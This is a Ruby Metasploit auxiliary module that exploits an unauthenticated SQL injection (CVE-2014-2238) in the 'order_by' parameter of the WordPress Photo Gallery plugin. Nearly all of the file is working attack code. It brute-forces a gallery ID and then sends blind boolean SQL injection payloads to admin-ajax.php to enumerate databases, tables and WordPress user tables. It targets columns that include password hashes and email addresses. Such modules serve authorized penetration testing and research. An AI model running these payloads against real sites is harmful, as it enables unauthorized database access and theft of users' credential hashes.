## # This module requires Metasploit: http://metasploit.com/download ## Current source: https://github.com/rapid7/metasploit-framework ### require 'msf/core' class Metasploit4 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Wordpress Photo Gallery Unauthenticated SQL Injection User Enumeration", 'Description' => %q{ This module exploits an unauthenticated SQL injection in order to enumerate the Wordpress users tables, including password hashes. This module was tested against version 1.2.7. }, 'License' => 'ExploitHub', 'Author' => [ 'Brandon Perry <bperry.volatile[at]gmail.com>' #meatpistol module ], 'References' => [ ['CVE', '2014-2238'], ], 'Platform' => ['win', 'linux'], 'Privileged' => false, 'DisclosureDate' => "Feb 28 2014")) register_options( [ OptInt.new('GALLERYID', [false, 'Gallery ID to use. If not provided, the module will attempt to bruteforce one.', nil]), OptString.new('TARGETURI', [ true, 'Relative URI of Wordpress installation', '/']) ], self.class) end def get_params { 'tag_id' => 0, 'action' => 'GalleryBox', 'current_view' => 0, 'image_id' => 1, 'gallery_id' => 1, 'theme_id' => 1, 'thumb_width' => 180, 'thumb_height' => 90, 'open_with_fullscreen' => 0, 'open_with_autoplay' => 0, 'image_width' => 800, 'image_height' => 500, 'image_effect' => 'fade', 'sort_by' => 'order', 'order_by' => 'asc', 'enable_image_filmstrip' => 1, 'image_filmstrip_height' => 70, 'enable_image_ctrl_btn' => 1, 'enable_image_fullscreen' => 1, 'popup_enable_info' => 1, 'popup_info_always_show' => 0, 'popup_info_full_width' => 0, 'popup_hit_counter' => 0, 'popup_enable_rate' => 0, 'slideshow_interval' => 5, 'enable_comment_social' => 1, 'enable_image_facebook' => 1, 'enable_image_twitter' => 1, 'enable_image_google' => 1, 'enable_image_pinterest' => 0, 'enable_image_tumblr' => 0, 'watermark_type' => 'none', 'current_url' => '' } end def bruteforce_gallery_id 1.upto(666) do |i| get_vars = get_params get_vars['gallery_id'] = i res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'vars_get' => get_vars }) return i if res and res.body =~ /data\["0"\] = \[\];/ end fail_with(Failure::Unknown, "Couldn't bruteforce a gallery ID, please explicitly supply a known good gallery ID") end def run gallery_id = datastore['GALLERYID'] if gallery_id == 0 print_status('No GALLERYID supplied, attempting bruteforce.') gallery_id = bruteforce_gallery_id print_status("Found a gallery with an ID of #{gallery_id}") end parms = get_params parms['gallery_id'] = gallery_id res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'vars_get' => parms }) real_length = res.body.length count = nil 1.upto(999) do |i| payload = ",(SELECT (CASE WHEN ((SELECT IFNULL(COUNT(DISTINCT(schema_name)),0x20) FROM INFORMATION_SCHEMA.SCHEMATA) BETWEEN 0 AND #{i}) THEN 0x2061736320 ELSE 3181*(SELECT 3181 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))" res = send_injected_request(payload, gallery_id) count = i if res.body.length == real_length break if count end print_status("Looks like there are #{count} databases.") schemas = [] 0.upto(count-1) do |i| length = nil 1.upto(999) do |c| payload = ",(SELECT (CASE WHEN ((SELECT IFNULL(CHAR_LENGTH(schema_name),0x20) FROM (SELECT DISTINCT(schema_name) " payload << "FROM INFORMATION_SCHEMA.SCHEMATA LIMIT #{i},1) AS pxqq) BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 6586*" payload << "(SELECT 6586 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))" res = send_injected_request(payload, gallery_id) length = c if res.body.length == real_length break if !length.nil? end print_status("Schema #{i}'s name has a length of #{length}. Getting name.") name = '' 1.upto(length) do |l| 126.downto(32) do |c| payload = ",(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(schema_name AS CHAR),0x20) FROM (SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT #{i},1) AS lela),#{l},1)) NOT BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 7601*(SELECT 7601 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))" res = send_injected_request(payload, gallery_id) vprint_status("Found char #{(c+1).chr}") if res.body.length == real_length name << (c+1).chr if res.body.length == real_length break if res.body.length == real_length end end schemas << name print_status("Found database #{name}") end schemas.delete('mysql') schemas.delete('performance_schema') schemas.delete('information_schema') schemas.each do |schema| num_tables = nil 1.upto(999) do |i| payload = ",(SELECT (CASE WHEN ((SELECT IFNULL(COUNT(table_name),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x#{schema.unpack("H*")[0]}) BETWEEN 0 AND #{i}) THEN 0x2061736320 ELSE 8846*(SELECT 8846 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))" res = send_injected_request(payload, gallery_id) num_tables = i if res.body.length == real_length break if num_tables end print_status("Schema #{schema} has #{num_tables} tables. Enumerating.") tables = [] 0.upto(num_tables - 1) do |t| length = nil 0.upto(64) do |l| payload = ",(SELECT (CASE WHEN ((SELECT IFNULL(CHAR_LENGTH(table_name),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x#{schema.unpack("H*")[0]} LIMIT #{t},1) BETWEEN 0 AND #{l}) THEN 0x2061736320 ELSE 5819*(SELECT 5819 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))" res = send_injected_request(payload, gallery_id) length = l if res.body.length == real_length break if length end print_status("Table #{t}'s name has a length of #{length}") name = '' 1.upto(length) do |l| 126.downto(32) do |c| payload = ",(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x#{schema.unpack("H*")[0]} LIMIT #{t},1),#{l},1)) NOT BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 5819*(SELECT 5819 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))" res = send_injected_request(payload, gallery_id) name << (c+1).chr if res.body.length == real_length vprint_status("Found char #{(c+1).chr}") if res.body.length == real_length break if res.body.length == real_length end end print_status("Found table #{name}") tables << name if name =~ /users$/ end print_status("Found #{tables.length} possible user tables. Enumerating users.") tables.each do |table| table_count = '' char = 'a' i = 1 while char char = nil 58.downto(48) do |c| payload = ",(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{schema}.#{table}),#{i},1)) NOT BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 8335*(SELECT 8335 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))" res = send_injected_request(payload, gallery_id) char = (c+1).chr if res.body.length == real_length vprint_status("Found char #{char}") if char table_count << char if char break if char end i = i + 1 end table_count = table_count.to_i print_status("Table #{table} has #{table_count} rows.") user_cols = ["ID", "user_url", "user_pass", "user_login", "user_email", "user_status", "display_name", "user_nicename", "user_registered", "user_activation_key"] 0.upto(table_count-1) do |t| user_cols.each do |col| i = 1 length = '0' char = 'a' while char char = nil 58.downto(48) do |c| payload = ",(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(#{col}) AS CHAR),0x20) FROM #{schema}.#{table} ORDER BY ID LIMIT #{t},1),#{i},1)) NOT BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 7837*(SELECT 7837 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))" res = send_injected_request(payload, gallery_id) char = (c+1).chr if res.body.length == real_length vprint_status("Found char #{char}") if char length << char if char break if char end i = i + 1 end length = length.to_i print_status("Column #{col} of row #{t} has a length of #{length}") end end end end end def send_injected_request(payload, gallery_id) parms = get_params parms['gallery_id'] = gallery_id parms['order_by'] = 'asc ' + payload return send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'vars_get' => parms }) end end